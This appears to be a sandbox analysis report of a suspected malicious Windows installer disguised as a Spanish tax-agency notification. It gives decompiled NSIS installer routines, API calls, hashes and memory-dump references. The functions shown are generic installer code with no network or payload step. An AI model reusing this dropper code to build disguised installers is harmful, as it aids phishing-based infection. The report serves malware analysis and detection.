API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 1f2b66d66530b4cdd3a0434c0d3521a5c22e25164d410e4764023a67e6413042
Instruction ID: 89c32d2153287748ec41ed641a28e9b16702ce233dbd70bd77460b6709aa78c6
Opcode Fuzzy Hash: 1f2b66d66530b4cdd3a0434c0d3521a5c22e25164d410e4764023a67e6413042
Instruction Fuzzy Hash: F8312871601B05BBD220AB619D48F6B3A9CEF85744F14003EFA42F62D2DA7CD8118ABD

Uniqueness

Uniqueness Score: -1.00%

Function 004064F3 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004064F3(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405BA7(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405B5D(L"*?|<>/\":", _t5))) == 0) {
							E00405D0C(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x004064f5
0x004064fe
0x00406515
0x00406515
0x0040651c
0x00406528
0x00406528
0x0040652b
0x0040652e
0x00406533
0x00406535
0x0040653e
0x00406542
0x0040655f
0x00406567
0x00406567
0x0040656c
0x0040656e
0x00406571
0x00406576
0x00406577
0x0040657b
0x0040657b
0x0040657c
0x00406583
0x00406585
0x0040658c
0x00000000
0x00000000
0x00406594
0x0040659a
0x00000000
0x00000000
0x00000000
0x0040659a
0x0040659f

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe",0040332B,C:\Users\user\AppData\Local\Temp\,757F3420,0040359C,?,00000006,00000008,0000000A), ref: 00406556
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 00406565
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe",0040332B,C:\Users\user\AppData\Local\Temp\,757F3420,0040359C,?,00000006,00000008,0000000A), ref: 0040656A
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe",0040332B,C:\Users\user\AppData\Local\Temp\,757F3420,0040359C,?,00000006,00000008,0000000A), ref: 0040657D

Strings

"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe", xrefs: 004064F3
C:\Users\user\AppData\Local\Temp\, xrefs: 004064F4, 004064F9
*?|<>/":, xrefs: 00406545

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3704826938
Opcode ID: dac06de1e1615827748cce9690c43cbd9586789469f0d882438918906e4257c7
Instruction ID: b8c3cbf5b75eb2b2499c9cde9ef872d51aef5c2750dc7b0313243111e00abff4
Opcode Fuzzy Hash: dac06de1e1615827748cce9690c43cbd9586789469f0d882438918906e4257c7
Instruction Fuzzy Hash: 9B11C85580021275DB303B14BC40ABBA6F8EF59754F52403FE985732C8E77C5C9286BD

Uniqueness

Uniqueness Score: -1.00%

Function 0040425B Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040425B(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

0x0040426d
0x00404301
0x00000000
0x00404301
0x0040427e
0x00404282
0x00000000
0x00000000
0x00404288
0x00404291
0x00404294
0x00404294
0x0040429a
0x004042a0
0x004042a0
0x004042ac
0x004042b2
0x004042b9
0x004042bc
0x004042bf
0x004042c1
0x004042c1
0x004042c9
0x004042cf
0x004042cf
0x004042d9
0x004042de
0x004042e1
0x004042e6
0x004042e9
0x004042e9
0x004042f9
0x004042f9
0x00000000

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404278
GetSysColor.USER32(00000000), ref: 00404294
SetTextColor.GDI32(?,00000000), ref: 004042A0
SetBkMode.GDI32(?,?), ref: 004042AC
GetSysColor.USER32(?), ref: 004042BF
SetBkColor.GDI32(?,?), ref: 004042CF
DeleteObject.GDI32(?), ref: 004042E9
CreateBrushIndirect.GDI32(?), ref: 004042F3

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: d93bb5df8f2b76ccefaad0a5d1bb7d3eec77da1dbbaa67d130298efb7d8eee66
Instruction ID: 89996262c0d64ac0fda19422125f93b67266a0f1ca122a9c1e6306c3a20023a3
Opcode Fuzzy Hash: d93bb5df8f2b76ccefaad0a5d1bb7d3eec77da1dbbaa67d130298efb7d8eee66
Instruction Fuzzy Hash: 34219271500704ABCB209F68DE08B4BBBF8AF41714B048A6DFD92A22A0C734D904CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00404B8D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404B8D(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404b9b
0x00404ba8
0x00404bae
0x00404bec
0x00404bec
0x00404bfb
0x00404c02
0x00000000
0x00404c04
0x00404bb0
0x00404bbf
0x00404bc7
0x00404bca
0x00404bdc
0x00404be2
0x00404be9
0x00000000
0x00404be9
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BA8
GetMessagePos.USER32 ref: 00404BB0
ScreenToClient.USER32(?,?), ref: 00404BCA
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404BDC
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C02

Strings

f, xrefs: 00404BDE

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: 1a768e81d1a3c698b7e3ef6d626f5858b2063c99cedd32227338619671f62d57
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 18015E7190021CBADB00DB95DD85FFEBBBCAF95715F10412BBA50BA1D0C7B4AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00401DB3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401DB3(intOrPtr __edx) {
				void* __esi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				struct HDC__* _t31;
				void* _t33;
				void* _t35;

				_t30 = __edx;
				_t31 = GetDC( *(_t35 - 8));
				_t9 = E00402C15(2);
				 *((intOrPtr*)(_t35 - 0x4c)) = _t30;
				0x40cdb0->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t31, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t31);
				 *0x40cdc0 = E00402C15("true");
				_t15 =  *((intOrPtr*)(_t35 - 0x18));
				 *((intOrPtr*)(_t35 - 0x4c)) = _t30;
				 *0x40cdc7 = 1;
				 *0x40cdc4 = _t15 & 0x00000001;
				 *0x40cdc5 = _t15 & 0x00000002;
				 *0x40cdc6 = _t15 & 0x00000004;
				E00406281(_t9, _t31, _t33, "Times New Roman",  *((intOrPtr*)(_t35 - 0x24)));
				_t18 = CreateFontIndirectW(0x40cdb0);
				_push(_t18);
				_push(_t33);
				E004061A6();
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401db3
0x00401dbe
0x00401dc0
0x00401dcd
0x00401de4
0x00401de9
0x00401df6
0x00401dfb
0x00401dff
0x00401e0a
0x00401e11
0x00401e23
0x00401e29
0x00401e2e
0x00401e38
0x0040258c
0x0040156d
0x00402a65
0x00402ac2
0x00402ace

APIs

GetDC.USER32(?), ref: 00401DB6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD0
MulDiv.KERNEL32(00000000,00000000), ref: 00401DD8
ReleaseDC.USER32(?,00000000), ref: 00401DE9
CreateFontIndirectW.GDI32(0040CDB0), ref: 00401E38

Strings

Times New Roman, xrefs: 00401E1E

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: 08381414c6e739f680c1a14db26c866ed95d6f562d15ae060e4ba8fd4e20cd39
Instruction ID: 4d28dda0b40ea0953a32cffe00044d8590db675546aa8caf17c1304664b83f42
Opcode Fuzzy Hash: 08381414c6e739f680c1a14db26c866ed95d6f562d15ae060e4ba8fd4e20cd39
Instruction Fuzzy Hash: 78017572954241EFE7006BB0AF8AB9A7FB4AF55301F10497EF241B71E2CA7800458F2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402DD7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402DD7(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x78b6d4; // 0x679c7
					_t11 =  *0x7976dc; // 0x69c38
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfW( &_v132, L"verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402de7
0x00402df5
0x00402dfb
0x00402dfb
0x00402e09
0x00402e0b
0x00402e11
0x00402e18
0x00402e1a
0x00402e1a
0x00402e30
0x00402e40
0x00402e52
0x00402e52
0x00402e5a

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402DF5
MulDiv.KERNEL32(000679C7,00000064,00069C38), ref: 00402E20
wsprintfW.USER32 ref: 00402E30
SetWindowTextW.USER32(?,?), ref: 00402E40
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E52

Strings

verifying installer: %d%%, xrefs: 00402E2A

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3278fe65966c90afb4b572b20ee93d6781e748b995f18389883d07859a761d52
Instruction ID: c563a075df83d92fb310a5016e42997ab7e5782e6b78b1479044c0af3efb3f55
Opcode Fuzzy Hash: 3278fe65966c90afb4b572b20ee93d6781e748b995f18389883d07859a761d52
Instruction Fuzzy Hash: DE01677064020CBFDF149F50DD49FAA3B68AB00304F108039FA06F51D0DBB98965CF59

Uniqueness

Uniqueness Score: -1.00%

Function 100024A4 Relevance: 9.1, APIs: 6, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E100024A4(intOrPtr* _a4) {
				intOrPtr _v4;
				intOrPtr* _t24;
				void* _t26;
				intOrPtr _t27;
				signed int _t35;
				void* _t39;
				intOrPtr _t40;
				void* _t43;

				_t39 = E1000121B();
				_t24 = _a4;
				_t40 =  *((intOrPtr*)(_t24 + 0x1014));
				_v4 = _t40;
				_t43 = (_t40 + 0x81 << 5) + _t24;
				do {
					if( *((intOrPtr*)(_t43 - 4)) != 0xffffffff) {
					}
					_t35 =  *(_t43 - 8);
					if(_t35 <= 7) {
						switch( *((intOrPtr*)(_t35 * 4 +  &M100025B4))) {
							case 0:
								 *_t39 =  *_t39 & 0x00000000;
								goto L15;
							case 1:
								_push( *__eax);
								goto L13;
							case 2:
								__eax = E10001470(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
								goto L14;
							case 3:
								__ecx =  *0x1000406c;
								__edx = __ecx - 1;
								__eax = MultiByteToWideChar(0, 0,  *__eax, __ecx, __edi, __edx);
								__eax =  *0x1000406c;
								 *(__edi + __eax * 2 - 2) =  *(__edi + __eax * 2 - 2) & 0x00000000;
								goto L15;
							case 4:
								__eax = lstrcpynW(__edi,  *__eax,  *0x1000406c);
								goto L15;
							case 5:
								_push( *0x1000406c);
								_push(__edi);
								_push( *__eax);
								__imp__StringFromGUID2();
								goto L15;
							case 6:
								_push( *__esi);
								L13:
								__eax = wsprintfW(__edi, __ebp);
								L14:
								__esp = __esp + 0xc;
								goto L15;
						}
					}
					L15:
					_t26 =  *(_t43 + 0x14);
					if(_t26 != 0 && ( *_a4 != 2 ||  *((intOrPtr*)(_t43 - 4)) > 0)) {
						GlobalFree(_t26);
					}
					_t27 =  *((intOrPtr*)(_t43 + 0xc));
					if(_t27 != 0) {
						if(_t27 != 0xffffffff) {
							if(_t27 > 0) {
								E100012E1(_t27 - 1, _t39);
								goto L24;
							}
						} else {
							E10001272(_t39);
							L24:
						}
					}
					_v4 = _v4 - 1;
					_t43 = _t43 - 0x20;
				} while (_v4 >= 0);
				return GlobalFree(_t39);
			}

0x100024ae
0x100024b0
0x100024bf
0x100024c5
0x100024d2
0x100024d4
0x100024d8
0x100024d8
0x100024e0
0x100024e6
0x100024e8
0x00000000
0x100024ef
0x00000000
0x00000000
0x100024f5
0x00000000
0x00000000
0x100024ff
0x00000000
0x00000000
0x10002506
0x1000250c
0x10002518
0x1000251e
0x10002523
0x00000000
0x00000000
0x10002545
0x00000000
0x00000000
0x1000252b
0x10002531
0x10002532
0x10002534
0x00000000
0x00000000
0x1000254d
0x1000254f
0x10002551
0x10002553
0x10002553
0x00000000
0x00000000
0x100024e8
0x10002556
0x10002556
0x1000255b
0x1000256d
0x1000256d
0x10002573
0x10002578
0x1000257d
0x10002589
0x1000258e
0x00000000
0x10002593
0x1000257f
0x10002580
0x10002594
0x10002594
0x1000257d
0x10002595
0x10002599
0x1000259c
0x100025b3

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 1000256D
GlobalFree.KERNEL32(00000000), ref: 100025A8

Memory Dump Source

Source File: 00000000.00000002.2083600919.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2083574702.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083633665.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083683265.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: e72053471c67904cbc9fe51406c75cdd0d1e7ae72e07fb5691a107031e3f1593
Instruction ID: 149f0ffe7112dafd64944f245e56057b96fa329c468151baa91e3d773918aa42
Opcode Fuzzy Hash: e72053471c67904cbc9fe51406c75cdd0d1e7ae72e07fb5691a107031e3f1593
Instruction Fuzzy Hash: 1031AF71504651EFF721CF14CCA8E2B7BB8FB853D2F114119F940961A8C7719851DB69

Uniqueness

Uniqueness Score: -1.00%

Function 004028A7 Relevance: 9.1, APIs: 6, Instructions: 86
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004028A7(void* __ebx) {
				void* _t26;
				long _t31;
				void* _t45;
				void* _t49;
				void* _t51;
				void* _t54;
				void* _t55;
				void* _t56;

				_t45 = __ebx;
				 *((intOrPtr*)(_t56 - 0x30)) = 0xfffffd66;
				_t50 = E00402C37(0xfffffff0);
				 *(_t56 - 0x38) = _t23;
				if(E00405BA7(_t50) == 0) {
					E00402C37(0xffffffed);
				}
				E00405D2C(_t50);
				_t26 = E00405D51(_t50, 0x40000000, 2);
				 *(_t56 + 8) = _t26;
				if(_t26 != 0xffffffff) {
					_t31 =  *0x7a8a38;
					 *(_t56 - 0x3c) = _t31;
					_t49 = GlobalAlloc(0x40, _t31);
					if(_t49 != _t45) {
						E00403308(_t45);
						E004032F2(_t49,  *(_t56 - 0x3c));
						_t54 = GlobalAlloc(0x40,  *(_t56 - 0x20));
						 *(_t56 - 0x4c) = _t54;
						if(_t54 != _t45) {
							_push( *(_t56 - 0x20));
							_push(_t54);
							_push(_t45);
							_push( *((intOrPtr*)(_t56 - 0x24)));
							E004030FA();
							while( *_t54 != _t45) {
								_t47 =  *_t54;
								_t55 = _t54 + 8;
								 *(_t56 - 0x34) =  *_t54;
								E00405D0C( *((intOrPtr*)(_t54 + 4)) + _t49, _t55, _t47);
								_t54 = _t55 +  *(_t56 - 0x34);
							}
							GlobalFree( *(_t56 - 0x4c));
						}
						E00405E03( *(_t56 + 8), _t49,  *(_t56 - 0x3c));
						GlobalFree(_t49);
						_push(_t45);
						_push(_t45);
						_push( *(_t56 + 8));
						_push(0xffffffff);
						 *((intOrPtr*)(_t56 - 0x30)) = E004030FA();
					}
					CloseHandle( *(_t56 + 8));
				}
				_t51 = 0xfffffff3;
				if( *((intOrPtr*)(_t56 - 0x30)) < _t45) {
					_t51 = 0xffffffef;
					DeleteFileW( *(_t56 - 0x38));
					 *((intOrPtr*)(_t56 - 4)) = 1;
				}
				_push(_t51);
				E00401423();
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t56 - 4));
				return 0;
			}

0x004028a7
0x004028a9
0x004028b5
0x004028b8
0x004028c2
0x004028c6
0x004028c6
0x004028cc
0x004028d9
0x004028e1
0x004028e4
0x004028ea
0x004028f8
0x004028fd
0x00402901
0x00402904
0x0040290d
0x00402919
0x0040291d
0x00402920
0x00402922
0x00402925
0x00402926
0x00402927
0x0040292a
0x00402949
0x00402931
0x00402936
